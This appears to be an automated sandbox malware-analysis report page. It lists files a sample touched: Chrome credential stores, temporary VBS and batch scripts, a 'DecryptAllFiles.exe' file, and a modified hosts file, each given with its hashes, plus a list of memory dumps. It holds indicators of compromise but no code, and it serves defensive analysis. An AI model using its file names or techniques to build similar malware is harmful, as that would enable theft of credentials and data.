SHA1 8425470cf70b2726c26284d54b2bd60af75ef08d
SHA512 b6d95e01ff4c42b1250617a0753548712847fe76e73184f50ec8557285c9c435958b6b60c4a2bb2d20dfd4e29cd210c1a5ea0409d49fc73c8ee89c4eb429f3db
SSDEEP 384:AmjUj7KxkXqKf/pUZNCgVLH2Hfgsl5x7pLuLc8uvXODUf+ErU3xeHGHHe7RmBcIy:AGUj7KxkXqKf/pUZNCgVLH2Hfgsfx7pL
TLSH
T1B572EA677C4C997B0F94C6CCD816BF4FACB6024B55EE886443FA982903D5ACB11062F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt
Size 143B
SHA256 f5d99723cec455979d0f1fcb61faf8fab23eb19ba10c4dc1fd8044d42f736fb4
MD5 09ee8f27427e60648832286027fb0d02
SHA1 e1fe8ac87b2178d8dbd9108913673b2de3080151
SHA512 05ac784087b1ce87623ef278e9dc2c9a82ef609f965376b0fb6f42c8e4c9c049b0449078b4ac3122f686bf827968530f931cdccb55bdbff1e0d0b7789dd60e4a
TLSH
T132C02B8B6170412DFB5EFA921400321CD39E1ACC0CCC4DB4C1E0240F9A6202078FCF14
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe59ca5b.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt~RFe59ca5b.TMP
Size 150B
SHA256 efc44acaa6caf065b82393ea4eeeabeee3e7b652909237d8b1705dd29f1b833f
MD5 ac859e0a2c0345dbf2d14cdff7a1d698
SHA1 46353f155273b58df21a0125fbec2668545b6ebb
SHA512 e48357b2c3b12c55bc709c9c28ee750fc6e099be774c1965c48efd047abaf212633598028275a6bc44ab33399166d8b6f23be2a5f1b7b813b3357aa51677aded
TLSH
T164C08C8B6170002CBB1AA5921400220C926E1E8C0C8C4D6081E0300EA672021B8ECE14
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 b7b212d1b5fd8b15ab3925e7d380d117ef61dda70616313c75fedb4cc87407fa
MD5 d609b13284480c90107ca6da7adccfc1
SHA1 9ba25da0eb66ba787318b8f6afef77be30ef4c0a
SHA512 117b1ad5236c09a4eaed24f62df999b4d4f7daa026f6f38492fce423d48fc5ee092e868b53aebe53ca05c821bc75e2117b97dba0cd1fc9904e22412537c6b4fc
TLSH
T14CB012B1C0C19123C40A03B61D84948CB3E4FF20C602030371E41712DC373704514144
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 144B
SHA256 83449e333b34a7dd3aa848aa710d2cd9abcebe3845a1755932902bbf98855285
MD5 342c1330d31c60ce5a9caccf18b54bf4
SHA1 a478f451e4d3e2309ff7bf800136779961f8fb80
SHA512 db578f911b61cd8ef8199f543595b584304c33e6d74b86cdbc53d2bd068dd01cfe7e4b71c9911adfc98753ec2816d6f62dc2274a77a1e23d46bba07ee026889e
TLSH
T1C0C01251C411A121C18B03F4148388AC7368FF30E605175D62E51A3698751614057365
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe587fba.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe587fba.TMP
Size 96B
SHA256 43f6d9cd0c4053636cd96b24a09e45a6e3980d099129105e70699af762899f3b
MD5 11874326e5ed90977d22ed561100ff30
SHA1 4dc5288f7923cc1697cb5ac85fe28f00e16af9b3
SHA512 cbd6d9f259ad899c549cc5a88761eb624a209c322f93b26306341d33897fcc2f2c056c8027a58e050ea9ac98659011c6119ee20b2b1243f424760126201858a6
TLSH
T1BEB02238C00232AAC08303B228C380C83020CF20C203830FC2E00A23CC3A2200A208B0
MD5 SHA1 SHA512 TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 2f84b7ba0ec6ebc2a36d738f1936ccf71e0f2f8d0a190ba892a416ebcc2589bd
MD5 55f2147c7581709169a31094eb6ba171
SHA1 ec67c7cf6fbf037a71c4a0b09e276ce34f53615f
SHA512 e577c5694f01577f242c8964e06c3e7f199cd6edf7925aae6da7b9811448a10a6b9b598096a2398145fed06fc5090700b7b6f53f36c3493f24ccc7e110e81243
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OANLnbVumgnpK:1nbZeMrv/hGtAmnpK
TLSH
T177D3864B3A743102EDE58A765CE050BB5E3CB16D8F11A5D438B620588EF2963B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 197KB
SHA256 26ff99c7b9847aef0c25f77a1c340263d85128b8bb763ae8963a4722c1bb6fea
MD5 0cf504f743c2f17c45868b2a5839e9d1
SHA1 ecbdf5d9542d3c21f2f70dbb68d60f7b120f7ba2
SHA512 f601ad4d5157b6409f050405fb9fd9dc1797c772416aa86f8d20dd9e0ebcad5a215e63819d4b1f4a084e4a088eac33439abc098c0a803202cf64aefb5ddd4955
SSDEEP 6144:pqlBiyDMu8J3k7BUJc86HqXrOk0HOGm/SFyEE5:0lEN3k7GJc86H+rOjuGdF25
TLSH
T13D1412A61F4701B324BC1B69326F780A8BA74A44719F7DCD43B453FA16963C53BA3E12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 89KB
SHA256 7ac03b6f33e2acec96dbdb4347596950da557aee074ef40d0fc45c044517ce49
MD5 f7f9361069e0b767dec1c1bc733fcfd3
SHA1 f005e61c66020194447c12f2c92cff762bcedf69
SHA512 04e5d14e848728a57c7a07a576b233c0ef278f44c1e4dc0ca45a3d36f116e20077e5deab7cb525c391a7fd3f5a7a19da85951693cfb4d84027033dd12363beae
SSDEEP 1536:ip/PcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YW:aP3Qw/xLANk0mUW5GmRntSFCjEENL
TLSH
T1279312BA4E2646E7997D4A8176AD7909CE12534D705FB9CC326CA38C61D02C82F72F73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 417dc871c434b363a022a594510d89ec28f831fe0097c369e8790548a6e0067a
MD5 53fe13b44e6783477de57a663d24e0cc
SHA1 6e0768157c349fab7f3f74aa7aea619747992d38
SHA512 3e2f9983eac7c371fdb21ec088c0c692ee6d6661676a1e9bc16b294fead625fec4526ad22cac2ce8bb203b7e573efd961e4baddb6df68a617a719afa245aa7ed
SSDEEP 1536:1pocYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEk:83Qw/xLANk0mUW5GmRntSFCjEENW
TLSH
T1909312BA5E164AF799BD469172AE780ACD12534E709FA9CC7268538C21D01CC2B73F73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 8e9f79ef6a5cf8c7947fdbc8532ab94144a7bb0ba17136ea50f1765924f4cfcb
MD5 ceedb044e0d9d1763712269b9141a365
SHA1 49a999d8f774d43399561044b382df0afb4608c9
SHA512 b4db6e9ae1b394039025a7208e57cb7294dfccf3820d3257b6a6b286cd5a6fe94c6c13e2ac6d8edeab574a2d0ec7b16f915a9f0e8fe8352047a6b20c7ff81708
SSDEEP 1536:7pocYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEk:m3Qw/xLANk0mUW5GmRntSFCjEENW
TLSH
T15C9312BA5E264AF799BD4691729E780ACD12534E709FA9CC3268538C21D01CC2B73F33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nailnerd.com_chromess.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nailnerd.com_chromess.exe.log
Size 660B
SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
MD5 1c5e1d0ff3381486370760b0f2eb656b
SHA1 f9df6be8804ef611063f1ff277e323b1215372de
SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
TLSH
T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_fqzh0lp3.t3n.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fqzh0lp3.t3n.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
Size 246B
SHA256 2b5966a9cab3f7c84ee6417a91ed4faa63c04b982d05869effd769157a6f1428
MD5 782bf0d9c28ed73e8f0ae3568e04847c
SHA1 2e8c92a5110c01202105afa0a0f38d993270e796
SHA512 6acfeb18bbdbebca67a07cbc67cc4c6233fd7b8d776a1cfa9f7e0d5a24360607435be70536283179dd199b44e982212c53e1024970c94aa1527d48be15b19c54
TLSH
T153D0978FB248CAB80001223B81F38E4CD9E048283B03BEB0AAA0CC0D328088089F6043
MD5 SHA1 SHA512 TLSH

Submit Download

del.bat

Path C:\Users\Admin\AppData\Local\Temp\del.bat
Size 59B
SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
MD5 9cecbebdcdd60358132849714a3b82f7
SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
TLSH
T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
MD5 SHA1 SHA512 TLSH

Submit Download

makelnk.vbs

Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
Size 247B
SHA256 3da5108375d3d36cc037cf951c33b6fd7e24966b54a71246165210a1468d7e80
MD5 c201acc3518989e8ad62b9045e8b0c1a
SHA1 09fcb9a495c4c2eb044eead0a0fda912e7a28630
SHA512 9ab9cb23c7d8b673b704460e34c0c5fac6ca6966c4476d198ffa9eee294d645a5d7acbeb87e4d9fb3fedb6dbe28bb004b3435b73c5abcdef3dfd66710466f8e7
TLSH
T198D0A78FB249CAB90001267B91F38E4DDAE148683F13AE70AA65DD0E378189599F6543
MD5 SHA1 SHA512 TLSH

Submit Download

DecryptAllFiles.exe

Path C:\Users\Admin\Desktop\DecryptAllFiles.exe
Size 48KB
SHA256 ea830c4f07a43e3a5b22a1d0b08ba6feea459239aeddbf1df937268126fc68c8
MD5 fb9ded31c61dc492bd699156cd630205
SHA1 26e5ab31b0ec7fcbea65d30bbf71de5961eded50
SHA512 465eb4b7e11c75a8c4030d2fd4813858b564d40309ea1a63f2f1ec4ac86ae74d858a635057a2c67bba3cd5b9e16d8ac34fd6b8cfff056e3e1375b6b63b76bd10
SSDEEP 768:khHDTj5D++kqUF7NaEi47//o4ZC1XXGblfA0HKFcM:4HL5DI1QET7I4ZEXGblf9HucM
TLSH
T1A023F70437F94111E1FF5ABA8DB196019B31F8939C23E78E06D5058E1AB3780DEA8B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
MD5 d7645147eacea72992c3efbc22e7a507
SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
TLSH
T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
MD5 ffbf3122b27f828d8fd3c577ccf970b0
SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
TLSH
T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/976-2598-0x0000017D8A130000-0x0000017D8A160000-memory.dmp

Download

memory/1116-2572-0x000001B96F600000-0x000001B96F630000-memory.dmp

Download

memory/1204-2428-0x0000024AD4880000-0x0000024AD488C000-memory.dmp

Download

memory/1204-1316-0x0000023E2B7D0000-0x0000023E2B800000-memory.dmp

Download

memory/1204-161-0x0000023E2B7D0000-0x0000023E2B800000-memory.dmp

Download

memory/1204-2427-0x0000024AD4600000-0x0000024AD4630000-memory.dmp

Download

memory/1444-2587-0x000001E1844C0000-0x000001E1844F0000-memory.dmp

Download

memory/2300-2564-0x0000023B635C0000-0x0000023B635F0000-memory.dmp

Download

memory/2300-2567-0x0000023B64F20000-0x0000023B64F2C000-memory.dmp

Download

memory/2628-2510-0x0000000001870000-0x00000000018A0000-memory.dmp

Download

memory/2828-2538-0x00000000012C0000-0x00000000012F0000-memory.dmp

Download

memory/3252-81-0x000001EA172C0000-0x000001EA172F0000-memory.dmp

Download

memory/3996-2609-0x0000021869820000-0x0000021869850000-memory.dmp

Download

memory/4136-160-0x000001BCE9A50000-0x000001BCE9A80000-memory.dmp

Download

memory/4136-682-0x000001BCE9A50000-0x000001BCE9A80000-memory.dmp

Download

memory/4328-2570-0x0000025A6AE00000-0x0000025A6AE30000-memory.dmp

Download

memory/4896-91-0x0000000001060000-0x0000000001090000-memory.dmp

Download

memory/4896-1-0x0000000001370000-0x0000000001380000-memory.dmp

Download

memory/4896-2472-0x00000000012E0000-0x00000000012EC000-memory.dmp

Download

memory/4896-0-0x0000000000A00000-0x0000000000A12000-memory.dmp

Download

memory/4896-162-0x0000000001370000-0x0000000001380000-memory.dmp

Download

memory/4920-2608-0x0000017B82A60000-0x0000017B82C01000-memory.dmp

Download

memory/4920-2511-0x0000017B82A60000-0x0000017B82C01000-memory.dmp

Download

memory/4920-2440-0x0000017B84420000-0x0000017B84421000-memory.dmp

Download

memory/5160-158-0x00000000011C0000-0x00000000011F0000-memory.dmp

Download

memory/5420-2504-0x00000143FC1B0000-0x00000143FC1E0000-memory.dmp

Download

memory/5764-307-0x0000024077D50000-0x0000024077D72000-memory.dmp

Download

memory/5764-2584-0x000002405F670000-0x000002405F67C000-memory.dmp

Download

memory/5764-2583-0x000002405DB40000-0x000002405DCE1000-memory.dmp

Download

memory/5764-97-0x000002405F670000-0x000002405F67C000-memory.dmp

Download

memory/5764-92-0x000002405DB40000-0x000002405DCE1000-memory.dmp

Download

memory/5764-379-0x000002405DB40000-0x000002405DCE1000-memory.dmp

Download

memory/5852-2568-0x000002338AFA0000-0x000002338AFD0000-memory.dmp

Download

memory/5852-2561-0x000002338AFA0000-0x000002338AFD0000-memory.dmp

Download

memory/5872-2523-0x0000020257600000-0x0000020257630000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads